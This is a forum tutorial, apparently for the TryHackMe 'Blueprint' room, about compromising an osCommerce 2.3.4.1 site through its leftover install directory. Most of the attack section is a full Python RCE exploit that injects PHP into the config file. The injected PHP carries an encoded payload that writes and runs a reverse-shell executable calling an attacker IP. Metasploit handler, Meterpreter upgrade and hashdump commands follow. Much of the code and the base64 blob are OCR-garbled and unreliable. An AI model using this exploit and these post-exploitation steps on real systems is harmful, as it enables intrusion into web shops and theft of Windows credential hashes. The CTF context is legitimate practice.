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Welcome to the 8th tutorial. This one will guide you through the world of reverse shelling an RCE
vulnerable osCommerce website.
We're going to elevate our reverse shell to a Meterpreter shell and perform a hash dump enjoy?

When your installing osCommerce 2.3.4.1 and you're forgetting to remove the installation directory
there is a chance you could get hacked this version is vulnerable to Remote Code Execution or RCE
for short.

Let's go.
First, | ran a generic Nmap scan of my target the website wasn't located on the default 80 port it
was on the other (in my case default2 port) 8080 port

Well, let's take a closer look at the website. It was a pretty broken osCommerce installation so
something went wrong no doubt about it. Let's try if the install directory is accessible.

Yes, itis. At this point, we have two options we can install the website and run a PHP reverse shell
gaining access that way or we could try that exploit. I'm going to show the exploit it's more
educational going that route ?.

Firstly, we are going to create a listener. | often forget the listener and it's a pain to run everything 3
or 4 times (yes it happened to me a lot of wrong ports wrong IP some way or another this is a step
where | * up the most ?).

I'm running this listener in Metasploit you can also run this using Ncat but this CTF challenge
required me to get the NTLM dump so a Meterpreter shell would be beneficial in this case.

You can start the Metasploit framework by typing Msfconsole in cmd
Code msfconsole

After this, we are going to start our "exploit" our reverse TCP shell
You can do this by typing the following

Code Use exploit/multi/handler

set payload windows/shell/reverse_tcp

set LHOST [YOURIP]

set LPORT [YOURPORT]

run

The commands itself is pretty much self-explanatory.

You should get something similar to this


https://hackforums.net
https://hackforums.net/showthread.php?tid=6069910

Time for the exploit:

Code # Exploit Title: osCommerce 2.3.4.1 Remote Code Execution

# Date: 29.0.3.2018

# Exploit Author: Simon Scannell - https://scannell-infosec.net <contact@scannell-infosec.net>
# Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable
# Tested on Linux, Windows

# If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it
is possible

# for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not
check if the page

# is already installed and does not attempt to do any authentication. It is possible for an attacker to
directly

# execute the "install_4.php" script, which will create the config file for the installation. It is possible
to inject

# PHP code into the config file and then simply executing the code by opening it.

import requests

# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
base url = "http://10.10.14.203:8080//oscommerce-2.3.4/catalog/"

target_url = "http://10.10.14.203:8080/oscommerce-2.3.4/catalog/install/install. php?step=4" # use
the machine IP

data = {
'DIR_FS _DOCUMENT_ROOT" /"

}

# the payload will be injected into the configuration file via this code
#' define('DB_DATABASEV\, \" . trim($HTTP_POST_VARS['DB_DATABASET) . \);'. "\n".
# so the format for the exploit will be: '); PAYLOAD; /*

payload ="\");'

payload += 'header("Content-type: text/plain”);’

payload +="$ip = "10.8.6.162";' # use tun0 IP address

payload += '$port = "1234";'

payload += '$payload =
"7Vh5VFPNtj9JDkIIQgaZogY5aBSsiEXVRNCEWQICGQQVSQIIGMmMAYQIDtRIaQGKMjXUoxZGWe
ntbgqlgpCChGgggVFWcolFhpL7wwVb2ABT330N6uDmM+tt9b96623317239779/32zvedZJ3z7R0O1yQ)j
gAAAAUUUQALgAVBEOSD+LBIW(Qqcx0VgLK+4XIBw7vhEr9VooKylloMpVAGpQnlcgUMpYohpVoO
SeRQSHQCcJFOIXB42NiT22xox0QDAw+CAH1KaY/9dtw+g4cgYrAMAOQEd1ZPopwG1lai2v13dDI59
S27M2/WITX4zhwru9Qi9jem/4fTfbwKt54cB/mPZaglA5n+QIXCT5PnaOfm7BWH/cn37UJ7Xv7{xev+z
IsrjvOF5/7a59rccu7/wTD4enitmvtzFxhprXWZ0rHvn3Z0jVw8CQCEVZbgBwCIACBhqQ5A47ZBfeQS
HAXSZYNalEDYRIIDY6p7xKZBNRdrZFDKdsWhgWF7TTaW3gQTrZJAUYHCfCBjvctth6OWAJ2cll
OCA+My6kdg5XGeKgxuRW9f10cvkcqZAGaR32rvd+nNwIW5jf6ZCH0zX+c8X2V52wbV4xoBS/a2R
+nP2XDgFfFHbPzabyoKHbB406JcRj/qVH/afPHA5GLIBPH+njrX2ngFeBChqgmUON72r53JM4H57U
07gevzjnkADXhIVj5kNEHeokIzlhdpJDK3wucOtWtFJIwiNpzWUvk7bJbXOjmyE7+CAcGXj4Vq/iFd4x8lI
C6131+0lIo0WFOh0gxjnLUgAYYnLcL3N+W/tCi8ggKXCq2vwNK6+8ilmiaHKSPZXdKrql+0tVHkyV/tH1



O2/FHtxVgHmMccSpoZa5ZC0O903V3P6aoKyn/n69K535eDrNcOUQfmDw6aqiuNFx0xctZ+zBD7SOT9
oXWASkvfUqcLxkjF2Ejy49W7jc/skP6dOMOoxFIfziI6gbehMItaYb8E3U/NzAtnH7cCnO7YIAUMKuUOW
ukuwvn8B0cHala9nZJS80NVsvJBkGTRyt5jjDIM50VU87zRk+zQjcUPcewVDSbhrodcG+q+rDd+1f
VYJINENnHYcKkQnd7WdfGYoga/C6RF7VIEEEvVATgT6UuwxAQM5c4xxk07Ap3yrfUBLREvVDzdPdIOk3
9eF1nzQD+SR6BSxed1mCWHCRWBYfej33W|X3vQFj66FVibo8bb1TkNMfONOE/tguksTNnlYPLsfsA
NbaDUBNTmMnNdixgsCKb9QmV4f2667Z1n8QbEprwllflpoh/HngXyfly/+SnobFax1wSy8tXWV30MTG1
UILVKPbBBUZz29QEB3302tiVytuBmpZzsp+JEW7yre76w1XOIXA4WcURWIQWOURIOD1D3s1zYxr6
yqp8beopn30tPIdEutlsTj+5gdINSGHFs/cKD6fTGo1WV5MeBOdV5/xCHpy+WFvLO5ZX5saMyZrnN
IMUzKht+IsbT54QYF7mX1j7rfnnJZkjm72BJuUb3LCKyMJiRh23fktipRF2ZRHWmMszSWNyGSIQ1HK
wc9W6ZX3xa693c8b1UvcpAvV84NanvIPmb9ws+1HrrKAphe9MaUCDyGUPxx+osUevGOW3D6vh
un9AX2DJD+nXlua7tLnFX197wDTIgn/wcX/4AnEG8RjGzen8LcYhNP3kYXtkBa28TMS2gaOFO+WoY
7uMdRA9/r7drdA2udNc7d6U7C39NtH7QVGR1ecwsHOCXi7J1Yjhf3A3J76iz5+4dm9fUxwqLOKdtF1]
WON;j7ehsiLQ7f6P/CE+NgkmXbOieExi4VKkjm6Q7KEF+dpyRNQ12mktNSI9zwY|VIVfYovFdj2P14DH
hZfOlI7TB22IxZ+Uw95Lt+xWmPzW7zThCb2prMRywnBz4a50+bplyAo0eTdI3vOtYOTY1DQMwx0jGv
9r+T53zhnjqiidyjffa3TyjbRJaGHup48xmC1lobViCFrVu/uwyY2daHTSAFQQwLwWw7g8mYukFP063rq4
AofErizmanyC1R8+UzLIdkxmIz3bKsynaVbJz6E7ufD8OTCol2fzMX0Oa67BZFAliajQDmTnt50cveriej
a4yEOWV3R32THM9+1EDfyNEIsyN5gVfa8xzm0OCsKE/Wjg3hPR/AOWDUQ1CP20iVzebW7RuG6F
PYZzzUw+7wFMdg/001kx+tu6aTspFkMuOu3Py10OrdvsRwWXVS3glAQ/NE919fPTv6TusHqoD9P56vX
fJ5uyaD8hLI1HbDxocoXjsRxCfouJkibeYUIQMON+TP62rI6P6kHIewXmbxtI59BxMbt6HN7c7NL7rOLfi
FIFfkTFP1z7UF9g0jYqOP694ReKIG8uhCILZ4cLk2Louy9ylYDaB5GSpk03I7upb584gRODH2adCBg
MvutH29dq9626VPPCPGpciG6fpLvUOP4Cbh6UC9VA9YyA9fULli+m5Vdd6SaOFYVjblighg/1FkzZ0bT
aS9VxV1UmstZ8s3b8V7ghmOa+3KIw39p5h/cP/woRx4hVQfHLQV7ijTbFfRqy0T0jSeWhjwNrQeRD
YofqtJiPcbZ5xED4xAdnMnHep5cq7+h79RkGq7v6q+5Hztve262b260+c9h61a6Jpb+EIkPVa9Mnax7
k4Qu+Hzk/tU+ALP6+Frut4L8wvwgXOlaVMZmDCsrKJwU91e/13gGfet8EPgZ8eoaelLvXH+JpXLR8v
UALdash5sXZVPKZ7Qv+8X0gqYKPCNLid6Xn7s92DbPufW/GMMQ4yIT3YhU2RP3jZolWsTJJIQvLzO
b4KmixmIXZAohtslOxO4Ybd9QtpMFcOr9i+SKE/biRFTNo+XMzeaXFmxOMEZvV+T2DvOL4iVjgOhng
SF5DVuUA58eyHQVO+yIH820p3dkiTwGDVTOCIHbC54L6/aVn9bhshg5ZntvegbVv5YFxmGjU+bLIJv
9Ht/Wbidvvhwa4DwswuF155mXI|7pcsF8z2VUyv8Qa7QKpuTN//d9xDa73tLPNsyuCD449KMy4uvAO
H80+H+ndsOOGSIF+0yc4pyitOX80iynZmCc7YbKELGsKIRFreHr5RYkdiluOhBDWHIM7eLlj70/A8P
XZIh5phiVzhtpMYTVzZ+{0sfdCTpO/rilG/POPpI3gonVcE636INy2w/EBnz70s+ry23dIVLWyxzf8pRDk
rdsvZ7HMeDI9LthIXqgftePPJpi25IABtDHg1VWK5GuU7vOW9fBDzRFW2WWAMuB06 Xbxym8Fsfol0S
V3AZC7kGCxsjFz95ZcgEdRSerKtHRePpiaQVquF8KOOQIiI58XEz3BCfD1NOFNSITOCAFFE8sysXxJ
05HigTNSd5W57YvBJIU+vSgKStAMKxP+gLmOaOafL3FLpwKjGAUGgDsmYPSSpJzUjbttTLXOMkvf
wCQaQAf102PlaclVHBY mWwVKhSIVWpPit8M6GIEQRRbRVLpZA/IKaQy8VpsFhEIgHBOVFxMaH
B6CxiYnKAKIK8I2fmNAILZGIoXSIiRgpVifxIAQRskNQ6bXylhtVD6NnjgPGYhXKL/rqrkOLUzNW6eChD
BWJF063Iv7zXbbrPU+CfIMuSIJHDmMUVjshrxtUixY YPFGmMLJAQGUgHXX5J1kRV7s9er6 GEeJJ/5NdI
ugRLhkvfFhs+whf0Qzspoa7d/4ysE834sgNIIxMylgGAJxi3f8fk WWAIIBKEAXCpRiw2mgjLVBCeVem
vFowZg7+E17kdubiyJaDKISevypzyxoSRrrpkKhpHpC6TOxs6p6hr7rHMQrSbDdINSXcpBN8IR2/AKTt
mX7BqWzDgMIV6LC0400jVYNw5GkAUg1c8500WTkeHOYuDrYixI0elWiyhhGxtT6sznm4PJIJmTa7
bQgkvbn8It0440xj890I3VtssRWUIGuUBIiVcQf8yrb INgGMu2Ts7m1+pyXliaZ9LXRQtm2YQBCFag43
F+t24sKJPh3dN9IDjGTDp6rVms50EGKPDxnZSsOvwmZaTrWvuOdW/HJZuiNaCxbjdTU9IVkHkjVRv
AXE7znX3gLvwTg+nOpMLIEffpLXVV/WES5YHZO9wWEuU0jBm3BeUBicsdBXS/HLFdxyv5694BRrrVVMS8
LYbH7rvDb7D3V1tE3Z31dG9S9YGhPIf71g+/h6peY/K573QO0EjfHUtRkrnZdrPR/Nx4c/6NgpjgXPn+1
AM3IPabaJuLtO717TkhbaVJpCLp8vFPQYE+OdkdwGws2WN78WNC/ADMUS/EtRYKKUmMvPSIFT
W8nKVIIpyRIvixNcGGpDHW/utgxRIWpM47cXIbzZWKOKjyel7vpG3cXBHx48fioKdSsvNt180JeNugNP
p/G9dHiw7Mp6FUEdP1wYWuhUTFJ6libBKCsrMZbB142L SypxWdAyEdoHZLmsqrQC3GieGkZHQB
ZOFhLxmeacNRRfnBUEEwW6BSDv3/svZRg7AwtklaCK5QBKOUrB3DzG/k8Ut9RRIigqUKIRh83jsdIZS
LpGKIWAILY5SKNOT6CcPV+LiI1EbA+LIbAKTSINE6dVI/A4cQ6hcjulfbVVZmIu3Z8SvqJHrghZmC2hy
MXipRUE7sLUjurA6kgukydUsZRzIDbPb3z4MkohUksLnEO4yPiQIX1EHLwaVmetlacrDvUkqyB8Trbk
/UIGZelu3qVseyKcIN/K//IVIXLR58ezHMIKUJMLg1wxES9VCU9I1a9ivB/eOIJMPB9CqZDWODTaJwq
SwqjjyyDdWw2ujU7fND/+ig/glby6fnxEumy//OkMb1dGgomZhxRib9B07XITLBsVuKr4wiwHnZdFqb8z
+Yb8f4VCg1lZK2R6c9gAs9/eAfRMYNO0UZBIXESp6YMtANXQhgOuen5zzvTe7PIcjEsrSsvNUEISRD
3unww3WhNDs9CypOP1sp7Rr/W1NIiHDeOk7mQalcfVG5zpy246x2pU5s531eShXIba8dkLYsCNVIhd



5gqwImJTukgw4dGVsV2Z2b6IPztu86tVUuxePD25Uq6SZi/srizBWcgzGhPAWR7Z/5GkFLc2z7TOdM
9if/IBADMOMFNQ9IQPpI+2J08ec78bsd7GDAQT36LepLCyVqCAyCC8s4KkM61Z3Xil3kctDluZz+JalY
Dn9jaPD2UIlI0ObdJQzj4yLyVC+4QOAk8BANRNS5eIRWen8JWOAWNyYVYYJg+I2yTdEN3a6crkeli3FnR
APUXKspM4Vcwcel5YJHi5VITULwWkp30OmpyJMFZo5IKwRP4ecGx8X40QcYB5gm2KyxVHal8DYCM
i7YyxiTNBQoYbzpVNoC87VkFDfaVHMDQYOEjSKL2BmMKhG1/LHnxYCSEc06UmM60dpR6YZXcrhC
zNt/O8QhgnTpRpVW78NVilerdoBNnNLMSh8RzdaOITCsu/p7fusfAjXE/dPkH4ppr2ALXgLPEER7G2
OWW6Z90Z1IN24MNQhelVjOxmIlY+MYx6rLYR1BGO010DtlJjzC+bWIA+FU3QTtTvRIe4hhLsPBGBYJ
JRrAPVTPWEPHOY/MKC8YqIXNy2elFgGMGMzuVYIHT92GhoAlwDoCdYmOEDPBwW2FnoAJ3euzG
001InJYhPgQHOHJEE9yte5EY8fRMANJ45sUESifocFozaHMMHMS5FAfOZKTqilcY QpH7mVUFM/DY
wLhG5b9h9Ar16Gihfl3DLT4qJj5kBkwzHZ4iG+rVoUgKX6auNa202YeKQ20JDCFuzDV|jZpP5VO6Q
Z9ItFEMucDQ2ghgNMf1INkgm224TYiMJIv+469Iu2UkpZGCljZxAC2qdol39ncSYelAly//C6SOHQBE7
X/EVkBjzZ+wSjQu+RNWj8bG9v++bjOK3001HIXnqGJIvAWD99pu5eW8t+631fGsjQ2PXh/J8vD1Ce
DxApspOUBLOMU4KIMZ581HOjRsdHPMWAFAUQhFPkqoUKvO4ABAuhmeeT1lyRSCIWgQBgg+T1
0QzFYPR091vMIUoVab9FYUqgxGP3mOFzJ6+TXiQBfokhF//zoHVURIIimG0dozN+{/O7/5vwA=";'
payload += '$evalCode = gzinflate(base64_decode($payload));'

payload += '$evalArguments =" ".$port." ".$ip;'

payload += '$tmpdir ="C:\\windows\\temp";'
payload += ‘chdir($tmpdir);'

payload += '$res .= "Using dir : ".$tmpdir;’
payload += '$filename = "D3falt_shell.exe";'
payload += '$file = fopen($filename, "wh");’
payload += 'fwrite($file, $evalCode);'

payload += 'fclose($file);'

payload += '$path = $filename;'

payload += '$cmd = $path.$evalArguments;’
payload += '$res .= "\n\nExecuting : ".$cmd."\n";'
payload += 'echo $res;'

payload += '$output = exec($cmd);’

payload +="/*'

data['DB_DATABASE'] = payload

# exploit it
r = requests.post(url=target_url, data=data)

if r.status_code == 200:

print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" +
base_url + "install/includes/configure.php")
else:

print("[-] Exploit did not execute as planned")
You can find the basic exploit at https://www.exploit-db.com/exploits/44374
This exploit is slightly altered well the exploit itself isn't altered buy the payload is we are running
this on a windows machine so this payload is tailored to run on a windows based system you can
find this exploit over at this Github page:
https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php

There are four things you need to edit before you run it the IP of the target (you'll need to enter it
twice) Your IP and The port you're listening to also this site was HTTP so be sure to replace https by
Http I've made that mistake...

My favorite IDE still is Thony so here is an output you should get.


https://www.exploit-db.com/exploits/44374
https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php

Be sure you'll visit the configure PHP file afterward this will run your exploit. It should be included in
the output at the bottom. In my case, it was something like this.

Code http://10.10.14.203:8080//oscommerce-2.3.4/catalog/install/includes/configure.php and tada,
this should appear in your Metasploit console

Now we are going to background our current session we are going to upgrade this session to a
Meterpreter session.

To background a Meterpreter session you should use ctrl +z or type background in your shell.
Code background

You can now upgrade your session by typing

Code sessions -u 1

The -u stands for upgrade and the 1 is the session you want to upgrade you should only have 1
session so it should normally be 1.

Once it all ran you can type sessions -i 2
this will allow you to interact with your new Meterpreter session!

You can now dump those hashes fairly easy by typing run hash dump and behold your NTLM
hashes will show up.

You can crack these hashes using JhonTheRipper, Hashcat or an online tool. This time I've chosen
this one and it did the job pretty fast and good and a lot quicker than an offline cracker.

And that is all | hope you've found it an interesting read and you've found some new techniques you
could use in the future ?.

Spoiler (Click to View)Feel free to try this room on TryHackme it's called blueprint
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